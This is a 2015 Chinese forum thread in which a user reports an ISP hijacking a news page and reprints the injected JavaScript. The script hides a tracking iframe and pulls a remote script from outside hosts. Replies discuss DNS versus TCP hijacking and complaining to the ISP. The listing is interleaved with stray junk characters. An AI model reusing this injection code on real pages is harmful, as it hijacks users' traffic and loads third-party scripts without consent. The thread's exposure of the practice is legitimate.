上网奇遇记

hudba

2 `; k6 F# ?3 z6 {# y4 N6 l上网易看新闻半天打不开，发现状态栏在现实访问一个奇怪的域名。心里一惊，难道电脑中毒了？赶紧查看源代码，发现后面加了一段js，真正的新闻内容给iframe了

8 o" S8 G) ^0 F0 a# p3 v( |接下来就是去搜索这个域名，得到v2ex里面也有人遇到这个问题，原来是运营商搞的鬼{:soso_e131:}

https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8

http://www.v2ex.com/t/142197

% i. G  k4 u0 L; B1 r. g
顺便查下ip138：

% b6 y& N6 A! J% f( B4 d这是那段js里面的代码，好象是个半成品还没写入广告数据：

1. function locationSearch() {
   
2.         var s = getMainJs();
   1 S9 s3 y) Z# j0 U) {% G) W2 m
3.         if (s == null) {
   - z2 E' G' M4 ^4 i# A! {) |7 i
4.                 location.reload();
   
5.         }
   * G2 ^5 O8 c1 @% Z
6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
   ; a- W6 M+ ^4 ^9 f; ?2 {8 q
7. }
   
8. 
   7 O+ O' B+ G1 U" I, l% R
9. function getParameter(name, paraStr) {
   
10.         var result = "";
    + L2 p7 r/ \. R4 S
11.         var str = "&" + paraStr.split("?")[1];
    4 T( A7 I7 _+ y. o7 _
12.         var paraName = "&" + name + "=";
    - f8 h/ o' b0 L" S8 X' |3 O
13.         if (str.indexOf(paraName) != -1) {
    
14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    
15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
      u, Y" Y8 P# w$ c! B6 y
16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    5 e, U0 h" z8 l( X
17.                                         1, TmpStr.length).indexOf("&")
    
18.                                         - TmpStr.indexOf(paraName) + 1);
    & ^4 s) _  ]2 J. s$ P
19.                 } else {
    7 Q3 V0 o+ C& J9 n7 i3 F5 w
20.                         result = str.substring(str.indexOf(paraName), str.length);
    % Q, Z" ]! o& c) n1 W
21.                 }
    
22. 
    
23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    
24.         } else {
    
25.                 result = "No such parameter";
    + x& }% s5 M. y, a, L$ ^% E
26.         }
    , l# r; S: O8 F5 ?/ u+ G8 _
27.         return (result.replace("&", ""));
    
28. }
    
29. 
    
30. function getMainJs() {
    : L9 ~# O4 f% o7 q8 o* K9 \+ h# u  n+ F
31.         var scripts = document.getElementsByTagName("script");
    
32.         var s = null;
    - S6 Q1 w# L2 Y; S2 B4 O
33.         for (var i = 0; i < scripts.length; i++) {
    - E0 d; A- j1 V' C' `# m8 [
34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    + A4 _/ t! A$ U; b' A) W0 u" I4 K
35.                         s = scripts[i];
    
36.                         break;
    
37.                 }
    
38.         }
    
39.         return s;
    
40. }
    0 \8 a# ~! b. P* e$ H: w; E
41. 
    
42. function appendParam(oStr, aStr) {
    
43.         if (oStr.indexOf('?') > 0) {
    
44.                 oStr = oStr + "&" + aStr;
    
45.         } else {
    
46.                 oStr = oStr + "?" + aStr;
    % }4 v7 r/ Q& L0 u+ N6 k
47.         }
    6 R# h  ?  j2 K& U
48.         return oStr;
    
49. }
    
50. 
    
51. window.onerror = function() {
    3 F9 U& p9 H% K6 R4 g% d3 y
52. };
    
53. 
    
54. var g_titleTime = 0;
    5 X5 _8 d8 Q) B4 U& Z5 o' B0 f& l
55. function setTcTitle() {
    
56.         if (undefined == document) {
    4 n) f  L) B- P; Z' m" ]! J
57.                 g_titleTime++;
    $ _  n5 q0 Z5 f& M
58.                 setTimeout("setTcTitle();", 1000);
    
59.                 return;
    
60.         }
    " s- ]( W8 [9 |
61. 
    
62.         var doc;
    
63.         try {
    
64.                 if (document.all) {
    . W. I$ |: e" A: N/ \6 z3 w2 |2 N
65.                         doc = document.frames["cn"].document;
      }( m: m' G0 R$ e5 M& ?' B6 C
66.                 } else {
    
67.                         doc = document.getElementById("cn").contentDocument;
    
68.                 }
    
69.         } catch (ex) {
    
70.         }
    
71. 
    
72.         if (g_titleTime < 5
    , \" |2 d2 B& m' Q  I
73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    
74.                 g_titleTime++;
    
75.                 setTimeout("setTcTitle();", 1000);
    
76.                 return;
    # m9 l# y# v" ]3 @$ M# U
77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    & z- i  _, Y! R2 P2 [" }. N
78.                 document.title = doc.title;
    
79.                 setTcAdvVisible();
    
80.         }
    
81. }
    , J  p; e6 @2 j7 d8 M
82. 
    # ]; Z/ e$ u# j( [" c
83. setTimeout("setTcTitle();", 1000);
    
84. 
    
85. var g_isHaveVisible = false;
    , I: d: W5 h( E" N  v
86. function setTcAdvVisible() {
    ; I) f1 C" N  a& e) ~: |; _0 j! w
87.         if (undefined != document && undefined != document.getElementById("addiv")
    6 e4 ~0 V. b! Z  _
88.                         && !g_isHaveVisible) {
    2 z6 _/ t! C( H: l& w
89.                 document.getElementById("addiv").style.visibility = 'visible';
    
90.                 document.getElementById("addiv").style.display = 'block';
    6 y2 k$ S! ?& l3 C
91.                 g_isHaveVisible = true;
    
92.         }
    , B  j' L8 |$ }
93. }
    , g' K' V- X( _
94. 
    : d5 p( F$ \: P) Q
95. function UrlAnalyzer() {
    
96.         this.divda = "";
    5 L9 M$ Y- o$ J! G
97.         this.tctype = "";
    
98.         this.radius = "";
    ' m% `* Y: }# ~5 Z/ X4 F
99.         this.rlu = "";
    
100. }
     6 r$ @6 T. J$ N8 r
101. 
     
102. UrlAnalyzer.prototype.initParameters = function() {
     ! Z3 ?' M5 z7 X& }% e& r
103.         var paraStr = locationSearch();
       W  j" W. ?( M) `; }
104.         this.rlu = getParameter("lruedct", paraStr);
     
105.         this.divda = getParameter("divda", paraStr);
     ) k' l, i0 w3 V  e
106.         this.radius = getParameter("radius", paraStr);
     # c! p& |1 J2 m" r; }: q" C% Z  O
107.         this.tctype = getParameter("tctype", paraStr);
     
108.         this.address = getParameter("address", paraStr);
     
109.         this.usagent = getParameter("usagent", paraStr);
     
110. }
     4 Q. G) E, ^1 e% H
111. 
     
112. UrlAnalyzer.prototype.getHtmlDoc = function() {
     
113.         var doc;
     , T; B' r  {" y- [  f* Y% J
114.         try {
     ( O8 J5 h; U* [+ e' e* ~) y! i
115.                 if (document.all) {
     
116.                         doc = document.frames["cn"].document;
     
117. 
     
118.                 } else {
     
119.                         doc = document.getElementById("cn").contentDocument;
     
120.                         // doc = document.getElementById("cn").contentWindow.document;
     1 y* u9 s5 `) n4 ?7 ~, q
121.                 }
     % D4 _6 q2 ~! n
122.         } catch (ex) {
     
123.         }
     $ X/ Y# [& \, `6 w) D* W8 o% w
124.         return doc;
     " v% d. Q1 v$ P$ D
125. }
     . g0 O4 q; [) f+ }
126. 
     8 }, G4 v9 ~3 U$ e& P$ b! s
127. UrlAnalyzer.prototype.setDomain = function() {
     3 G. J0 }; W, j1 n& e
128.         if (undefined != document.title && "" == document.title)
     
129.         {
     
130.                 var index = document.domain.indexOf(".");
     
131.                 if (undefined != index && -1 != index) {
     
132.                         document.domain = document.domain.substring(index + 1,
     * r1 }& s3 G( s" s
133.                                         document.domain.length);
     
134.                 }
     % B/ F& m8 z5 b9 F9 V
135.                
     
136.                 var doc = this.getHtmlDoc();
     
137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
       i0 K& `) U* C# B5 d7 p$ J
138.                         document.title = doc.title;
     
139.                         setTcAdvVisible();
     
140.                 }
     $ f, C" g. U! a& k! ?" J
141.         }
     
142. }
     
143. 
     
144. UrlAnalyzer.prototype.iframeCallback = function() {
     
145.         var doc = this.getHtmlDoc();
     
146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
     
147.                 if (undefined != document.domain) {
     
148. 
     
149.                         var self = this;
     ) p1 O! R1 j9 ?) B
150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
     , Y! D) O" b) ?% P5 X. G( x- j
151.                         // var index = document.domain.indexOf(".");
     : C; [6 b7 e$ }% e4 E; t3 h7 q1 a
152.                         // if (undefined != index && -1 != index) {
     
153.                         // document.domain = document.domain.substring(index + 1,
     ) O! D. G2 g  C5 W* z" _
154.                         // document.domain.length);
     ( l  I/ {  y9 K$ w
155.                         // }
     + {. [" `5 v6 j; a/ i# F7 P7 @
156.                         //
     
157.                         // var doc = this.getHtmlDoc();
     , @) q. I1 _+ p! I& [
158.                         // if (undefined != doc && undefined != doc.title && "" !=
     + h9 `. x# i/ O) c: C" m
159.                         // doc.title) {
     & u3 Q( ~& k( I+ B
160.                         // document.title = doc.title;
     
161.                         // setTcAdvVisible();
     
162.                         // }
     0 G+ d# W; w9 J% d$ j
163.                 }
     
164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
     $ {4 X. D. b1 b( Y  Z3 o, v6 H
165.                 document.title = doc.title;
     , b/ w& M% F+ S
166.                 setTcAdvVisible();
     7 c+ _1 ]" s/ d! l4 Q
167.         }
     
168. }
     / b$ h) j3 s9 t
169. 
     9 C! i! |' u5 z3 _8 p, Z
170. UrlAnalyzer.prototype.executeHtmlContext = function() {
     6 \. N9 w: d. `6 m1 d( z6 A' v
171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
     
172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
     
173. 
     
174.         var htmlStr = "<iframe src="" + staUrl
     % c$ e* I0 ?$ {, t* x3 g9 r
175.                         + "" style="display:none"></iframe>";
     ' g" K0 Y% i6 l/ o6 \. _( j
176. 
     / r6 D8 u( j7 r' ^4 n" N! T0 [
177.         var advUrl = htmlStr
     
178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
     
179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
     , s- [. A) n6 y9 g+ ?  O
180.         document.write(advUrl);
     ( Y/ ]- m( k  X6 t
181. 
     
182.         var self = this;
     
183.         var iframe = document.getElementById("cn");
     + m$ j9 I: a$ Z; r
184.         if (iframe.attachEvent) {
     # ^& V0 ]9 K  x, h, t, N
185.                 iframe.attachEvent("onload", function() {
     0 X: w+ A9 Q# N6 \* C
186.                         self.iframeCallback.call(self, null);
     * q3 E$ M) ?7 S- U  `4 t
187.                 });
     
188.         } else {
     ( \$ d& s  w  p2 k( ^" j5 a9 e
189.                 iframe.onload = function() {
     - N4 w( p4 Q4 s' K
190.                         self.iframeCallback.call(self, null);
     
191.                 }
     
192.         }
     
193. }
     
194. 
     
195. UrlAnalyzer.prototype.executeMain = function() {
     
196.         var mainFrame = document.getElementById("cn");
     & S- i$ t: K7 `: L3 e1 Y+ K# }
197.         mainFrame.contentWindow.location.href = mainFrame.src;
     7 h2 q/ d) @( h3 b
198.         this.initParameters();
     ) X0 i9 ?0 x- H4 C  }
199.         this.executeHtmlContext();
     , E2 G4 J  A  r# v
200. }
     4 T$ P9 e7 I2 K( V4 H6 d; p
201. 
     
202. var g_analyzer = new UrlAnalyzer();
     
203. g_analyzer.executeMain();
     # l# I8 N6 K9 \! c* l

复制代码

ads419

Welcome to China      

cissss

我在想有没有大牛会去干电信那个网页，那就发啦。哈哈

阿百川

所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

firearmer

法制不健全，没法。我这里也有电信绑架的问题，但你没辙，要国外，早赔的只剩内裤了。

老刘

电信DNS劫持不是一天两天了。国家垄断企业，没人能管”。。。

giveatry

我这段时间也遇到了，投诉了两次，这几天没出现了，再出现继续投诉

ads419

阿百川 发表于 2015-2-3 09:49
- q4 ?  Z" V, w: f* H所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

TCP劫持，换DNS也不管用的。

阿百川

ads419 发表于 2015-2-3 21:26
& M0 O* ^' J, ETCP劫持，换DNS也不管用的。

' N# t$ Z( G! h; F" g9 z& ?. s! L. L5 n; }幸好联通还木有这么强的技术

哈默

在国内，习惯就好